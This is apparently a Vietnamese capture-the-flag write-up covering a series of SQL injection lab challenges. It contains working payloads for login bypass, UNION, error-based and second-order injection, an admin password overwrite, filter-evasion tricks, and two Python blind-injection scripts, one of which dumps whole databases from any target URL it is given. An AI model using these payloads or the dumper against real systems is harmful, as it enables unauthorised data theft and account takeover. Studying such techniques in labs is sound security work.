# Chall ## Chall sqli-playground ![image](https://hackmd.io/_uploads/r1jbbnKUbl.png) Các chall sử dụng MySQL db ### Level 1 ![image](https://hackmd.io/_uploads/BJWTZnFIWg.png) chall sử dụng plaintext.db : ```sql INSERT INTO `users` (`id`, `username`, `password`) VALUES (11, 'admin', HEX(RANDOM_BYTES(8))); ``` em inject `admin'` để đóng chuỗi username và `-- -` để comment phần còn lại. Mục đính là bỏ qua điều kiện password. query sẽ thành ```sql SELECT username FROM users WHERE username='admin'-- -' AND password='$password' ``` query trả về "admin" và kiểm tra điều kiện đúng ### Level 2 ![image](https://hackmd.io/_uploads/rkYN43KI-l.png) Tương tự level 1 nhưng dùng `\"` thay vì `'` `\` dùng để escape kí tự, `\"` giúp php hiểu `"` là 1 kí tự trong chuỗi không phải dấu hiệu để kết thúc query query khi xuống db sẽ thành tương tự logic bài trên, em inject `admin"` để đóng chuỗi username và `-- - `để comment phần còn lại sau khi PHP xử lí chuỗi `$sql` sẽ thành ```sql SELECT username FROM users WHERE username="admin"-- -" AND password="any" ``` query trả về "admin" và kiểm tra điều kiện đúng ### Level 3 ![image](https://hackmd.io/_uploads/Hk3YK2KLbe.png) chall sử dụng hashed.db: ```sql INSERT INTO `users` (`id`, `username`, `password`) VALUES (11, 'admin', '13442cabe383b86d1e1d2ce653845349'); ``` query sử dụng hàm LOWER() để chuyển kí tự in hoa về kí tự thường MD5() là 1 hàm băm(hash) để chuyển chuỗi thành giá trị 128-bit(32 ký tự) và chuỗi 128bit không thể reverse về chuỗi gốc logic expoit vẫn như bài trước em inject `admin")` để đóng chuỗi username và `-- -` để comment phần còn lại sau khi PHP xử lí chuỗi, `$sql` sẽ thành: ```sql SELECT username FROM users WHERE username=LOWER("admin")-- - AND password=MD5("$password") ``` query trả về "admin" và kiểm tra điều kiện đúng ### Level 4 ![image](https://hackmd.io/_uploads/ry7ph3YIbg.png) Tương tự Level 3 nhưng filter `"`, do đó không thể đóng chuỗi username và bỏ qua phần password như các bài trước khi không thể inject `"` để đóng chuỗi, em nghĩ đến phương án escape dấu `"` khi db parse bằng cách inject `\` khi php xử lí chuỗi khi inject `\` vào username, $sql sẽ thành: ```sql SELECT username FROM users WHERE username=LOWER("/") AND password=MD5("password") ``` database parse query, thấy `\"` và coi `"` như 1 kí tự trong chuỗi khi ấy dấu " đầu tiên phần password sẽ là dấu đóng chuỗi username em inject `)` vào password để đóng hàm `LOWER()` khi đó bên trong hàm LOWER sẽ là `/") AND password=MD5(` em inject `\` vào username và `) OR username='admin'-- ` vào password $sql sẽ thành: ```sql SELECT username FROM users WHERE username=LOWER("/") AND password=MD5(") OR username='admin'-- ") ``` trả về 1 row `'admin'` vì username `LOWER("/") AND password=MD5(")` không tồn tại. Do đó điều kiện kiểm tra đúng ### Level 5 ![image](https://hackmd.io/_uploads/r1aeXJ9LZx.png) logic của bài này là kiểm tra hash(md5) password nhập vào với password trả về của câu truy vấn ```sql SELECT username, password FROM users WHERE username='$username' ``` nếu đúng thì kiểm tra tiếp username trả về từ câu truy vấn có phải `'admin'` không nếu `password` trả về từ database(hashed md5) thì chỉ khi nhập `password` là chuỗi gốc điều kiện mới đúng. Việc tìm ra chuỗi gốc gần như là không thể Do đó, em có ý tưởng inject `username` để làm cho `query` trả về `username` là `'admin'` và `password` là `hash md5` của chuỗi em có thể kiểm soát được ví dụ trả về `username` là `'admin'` và `password` là kết quả hashed của `'ash'`. Khi đấy em chỉ cần nhập `password` là `ash` là điều kiện trả về đúng Để làm điều đó, em inject `username`: `a' UNION SELECT 'admin', md5('ash')-- `$sql sẽ trờ thành ```sql SELECT username, password FROM users WHERE username='a' UNION SELECT 'admin', md5('ash')-- -' ``` username `a` không tồn tại nên query trả về `admin` và 32 kí tự hashed của ash `password` chỉ cần nhập `ash` là điều kiện trả về đúng ### Level 6 ![image](https://hackmd.io/_uploads/HyCjcy9I-x.png) Chall sử dụng posts_db: ![image](https://hackmd.io/_uploads/r1VsokcIbx.png) $message = nội dung của link content mà câu truy vấn trả về ![image](https://hackmd.io/_uploads/rktd2y5IZx.png) Mục tiêu của chall: Extract database version trong file html của chall có `echo $message` vì lấy nội dung cửa link nên khó để extract version thông qua `union-based` em thấy khi lỗi sẽ lưu vào `$message` nên em nghĩ đến `error-based` em sử dụng `AND UUID_TO_BIN(version())` hàm `UUID_TO_BIN()` chuyển mã `UUID` thành dạng binary, `version()` trả về không phải mã `UUID` nên gây lỗi và in kết quả version ![image](https://hackmd.io/_uploads/S1Qv1g9L-g.png) ### Level 7 ![image](https://hackmd.io/_uploads/Hyv1xl5Lbg.png) ![image](https://hackmd.io/_uploads/HJdOeeqLZe.png) Level 7 có chức năng đăng kí đăng nhập sử dụng `prepared statement`,chỉ gán input vào query đã được compile nên không thể inject khai thác Khi đăng nhập thành công sẽ chuyển sang `profile.php` ![image](https://hackmd.io/_uploads/BJmdQg9U-g.png) trong profile lại lấy `username` đã login gắn vào `query` như thế ta chỉ việc đăng kí tài khoản với `username` là payload muốn inject sau đó sẽ lưu nguyên payload đó vào database thay vì gửi payload trực tiếp để khai thác như bình thường ta thêm bước đăng kí với `username` là payload, đăng nhập với payload và khai thác `a' UNION SELECT password FROM users WHERE id=21-- ` `username` a không tồn tại nên cả câu query trả về 1 row là password chứa FLAG ### Level 8 ![image](https://hackmd.io/_uploads/HJ3lcg9IWl.png) tương tự bài trước nhưng khi login thành công sẽ chuyển sang update.php ![image](https://hackmd.io/_uploads/r1rZie9IZe.png) trong `update.php`, kiểm tra username đã login có phải `"admin"` không và có chức năng update email có thể inject Mục tiêu của bài này là phải đăng nhập với `username` là `admin`, và password là chuỗi gốc của `hashed password` đã lưu vào database em inject vào `email` trong chức năng `update` để thay đổi `password` admin đầu tiên em đăng kí với tài khoản hợp lệ và đăng nhập ở `update.php` em inject `a', password=md5('ash') WHERE username='admin'-- -` `$sql` sẽ thành ```sql UPDATE users SET email='a', password=md5('ash') WHERE username='admin'-- -' WHERE username='username' ``` `password` admin đã được đổi thành md5('ash') quay lại `login` với `password` là `ash` là done ## sql-bypass-waf ![image](https://hackmd.io/_uploads/SkbzMEqIbg.png) ![image](https://hackmd.io/_uploads/BJ0DPE5IWg.png) chall này nối chuỗi input trực tiếp vào query nên có sqli tuy nhiên có filter 1.các hàm sql ```php ['union', 'select', 'from', 'and', 'or'] ``` 2.filter từ nhạy cảm 'admin' 3.filter `' ', '*', '/'` để tránh dấu cách và `/**/` (tương tự chức năng dấu cách) Để lấy được flag em cần inject union để trích xuất thêm dữ liệu Để inject cần giải quyết bypass 3 vấn đề trên 1. filter nhưng không `lower()` input => dùng `SELECT, UNION` được 2. mysql có tự động decode 1 số kiểu dữ liệu như hex, bit,.. => có thể bypass `'admin'` bằng mã hex của nó(thêm 0x ở đầu): `0x61646d696e` hoặc là dùng hàm `char()` sau đó nối chuỗi 3.có 1 số cách bypass dấu cách (cùng chức năng với dấu cách) khác như: sử dụng ( ) ví dụ SELECT(username)FROM().... %09: Tab (Ngang) %0a: New Line (Xuống dòng) %0b: Vertical Tab (Tab dọc) %0c: Form Feed (Chuyển trang) %0d: Carriage Return (Về đầu dòng) %a0: Non-breaking space (Khoảng trắng không ngắt Khi bypass dược em còn phải làm sao cho flag trả về ở vị trí thứ 2 vì trong code result=result[1]) và result = cur.fetchone() trả về tuple (gần tương đương với array) khi đó ```sql a'%0aUNION%0aSELECT%0aidx,%0aupw,%0auid%0aFROM%0auser%0aWHERE%0auid=0x61646d696e;--%0a- ``` tương đương với ```sql ' UNION SELECT adix, upw, uid FROM user WHERE uid='admin'-- - ``` `result=result[1]` trả về upw của uid admin (tức là FLAG) ## sql-bypass-waf-advanced ![image](https://hackmd.io/_uploads/rkkN-BqLZx.png) bài này tương tự bài trước nhưng filter thêm 1 số cách bypass dấu cách khác và filter quan trọng là bài này `lower()` input nên không thể dùng SELET,UNION,... trong mysql ta có thể sử dụng `#` để comment thay vì dùng `-- ` so sánh các cách bypass dấu cách với filter thêm ![image](https://hackmd.io/_uploads/SyTbGS5LZg.png) => vẫn xót %a0 vì `lower()` input nên không thể `union-based` được vì nếu `bypass` bằng cách inject encode và db tự đọng decode thì sẽ được coi là string, không phải KEYWORD ứng dụng có in ra vị dữ liêu trả về `result=result[1]` ở đây trả về `uid` em nghĩ đến `blind-based` Kiểm tra điều kiện, nếu đúng thì uid là `admin` (in `admin` ra giao diện), sai thì `uid` là `uid` không tồn tại (không in gì cả) em sẽ kiểm tra từng kí tự `upw` của `admin` (tức flag) em có viết script để brute-force cho nhanh ```python import requests; session = requests.Session(); url='http://localhost:5001/' a= ""; for n in range(1,20): for i in '{}*+,-./0123456789?@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz': payloads=f"abcd'||uid=IF(BINARY(SUBSTRING(upw,{n},1))='{i}',0x61646d696e,'abde');#" result=session.get(url,params={'uid':payloads}).text if "admin" in result: a+=i; print(a); ``` em bypass OR = `||` , sử dụng BINARY 'a'='A' để phân biệt chữ hoa và thường Ví dụ `sql abcd'||uid=IF(BINARY(SUBSTRING(upw,1,1))='D',0x61646d696e,'abde');# ` Toán tử `=` trong `WHERE` sẽ kiểm tra điều kiện , nếu `true` thì trả về trong bài này sẽ `match` khi kí tự kiểm tra đúng và `uid` đúng hoặc ngược lại Tức như ví dụ sẽ match hàng khi cột upw trong hàng đó chữ đầu là 'D' và uid hàng đó là `admin` hoặc cột `upw` trong hàng không phải `'D'` và `uid` là `abde` do đó nếu kiểm tra kí tự `admin` đúng => trả về hàng `admin` => in ra giao diện `uid` `admin`=> nếu `'admin'` trong `respone` => kí tự đúng ![image](https://hackmd.io/_uploads/ByZK2rc8-g.png) ## baby-sqlite ![image](https://hackmd.io/_uploads/HJgFCHcIWl.png) ![image](https://hackmd.io/_uploads/rJoQkUqI-x.png) ![image](https://hackmd.io/_uploads/H18K1L5IWl.png) câu truy vấn trả về admin thì in ra flag em cần `UNION based` để câu truy vấn trả về `admin` trong `sqlite3` không tự `decode` chuỗi `hex` mà bắt đầu bằng `0x` mà bằng `x'` nhưng ' bị filter, nên em bypass admin bằng char() từng kí tự xong nối chuỗi bằng `||`: `(char(97)||char(100)||char(109)||char(105)||char(110)` trả về 'admin' chắc chắn cần dùng `SELECT` nhưng bị filter (có `lower()`) nên cần tìm hàm khác có chức năng tương tự. trong sqlite có thể sử dụng `VALUES()` thay cho `SELECT ` `VALUES('admin')` tương đương `SELECT 'admin'` filter thiếu `/**/` bypass dấu cách ```php query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};" ``` vì filter `'` nên ban đầu em inject `\` vào `uid` để escape, dấu `'` đầu tiên ở `upw` sẽ đóng chuỗi uid , rồi inject `union` vào upw. Nhưng không được, sau tìm hiểu em mới biết `\` trong `sqlite` không có chức năng escape mà sử dụng `'` Sau đó em inject vào `level` vì không có `'` bao bọc dù `level` là kiểu `int` nhưng khi inject `1 UNION...` database thấy 1 và coi đoạn sau là phần sau như 1 phần của câu lệnh ```sqlite 1/**/UNION/**/VALUES(char(97)||char(100)||char(109)||char(105)||char(110)) ``` `query` tương đương với ```sqlite SELECT uid FROM users WHERE uid='any' and upw='any' and level=1 UNION VALUES('admin'); ``` `uid` và `upw` không tồn tại nên query trả về `admin` # Script script ví dụ để dump thông tin database trong bài level5/sqli-playground ```python import requests; import time; import argparse; session = requests.Session(); # url = "http://localhost:1337/basic/level5.php" def find_length(query_1): length_bin = ""; for i in range(1, 9): payload_ = f"admin' AND SUBSTRING(LPAD(BIN(({query_1})),8,'0'),{i},1)='1'-- -"; data = {'username': payload_, 'password': 'a'}; response = session.post(url, data=data, timeout=10); if "Wrong username or password" in response.text: length_bin += '1'; else: length_bin += '0'; # time.sleep(0.05); length = int(length_bin, 2); return length; def bit_by_bit_sqli(query, max_length): extracted = "" for i in range(1, max_length + 1): char_bin = "" for bit in range(1, 9): payload = f"admin' AND SUBSTRING(LPAD(BIN(ASCII(SUBSTRING(({query}),{i},1))),8,'0'),{bit},1)='1'-- -" data = {'username': payload, 'password': 'a'} response = session.post(url, data=data, timeout=10) if "Wrong username or password" in response.text: char_bin += "1" else: char_bin += "0" # time.sleep(0.05) char = chr(int(char_bin, 2)) if char == '\x00': break extracted += char return extracted parser = argparse.ArgumentParser(description="dump") parser.add_argument("--u", required=True, help="Target URL") parser.add_argument("--p1", action="store_true", help="Vulnerable parameter") parser.add_argument("--p2", action="store_true", help="Vulnerable parameter") parser.add_argument("--p3", action="store_true", help="Vulnerable parameter") args = parser.parse_args() url = args.u if __name__ == "__main__": if args.p1:#dump tên database for i in range(0,20): query_to_length1 = f"LENGTH((SELECT schema_name FROM information_schema.schemata LIMIT {i},1))" length = find_length(query_to_length1) print(f"Length of result: {length}") if length == 0: break query_to_extract1 = f"SELECT schema_name FROM information_schema.schemata LIMIT {i},1" db_name = bit_by_bit_sqli(query_to_extract1, length) print(f"Extracted result: {db_name}") if args.p2:#dump tên bảng trong database hashed_db for i in range(0,20): query_to_length = f"LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema= 'hashed_db' LIMIT {i},1))" length = find_length(query_to_length) print(f"Length of result: {length}") if length == 0: break query_to_extract = f"SELECT table_name FROM information_schema.tables WHERE table_schema= 'hashed_db' LIMIT {i},1" table_name = bit_by_bit_sqli(query_to_extract, length) print(f"Extracted result: {table_name}") if args.p3:#dump dữ liệu trong bảng users của database hashed_db target_table = "users" # Thay doi ten bang can dump tai day for i in range(0,20): query_to_length2 = f"LENGTH((SELECT column_name FROM information_schema.columns WHERE table_name= '{target_table}' AND table_schema='hashed_db' LIMIT {i},1))" length = find_length(query_to_length2) if length == 0: break query_to_extract2 = f"SELECT column_name FROM information_schema.columns WHERE table_name= '{target_table}' AND table_schema='hashed_db' LIMIT {i},1" column_name = bit_by_bit_sqli(query_to_extract2, length) print(f"Extracted Column Name [{i}]: {column_name}") for n in range(0,20): query_to_length3 = f"LENGTH((SELECT {column_name} FROM hashed_db.{target_table} LIMIT {n},1))" data_length = find_length(query_to_length3) if data_length == 0: break query_to_extract3 = f"SELECT {column_name} FROM hashed_db.{target_table} LIMIT {n},1" data_value = bit_by_bit_sqli(query_to_extract3, data_length) print(f" Row {n} {column_name}: {data_value}") ``` ![image](https://hackmd.io/_uploads/r14VaU5UWg.png)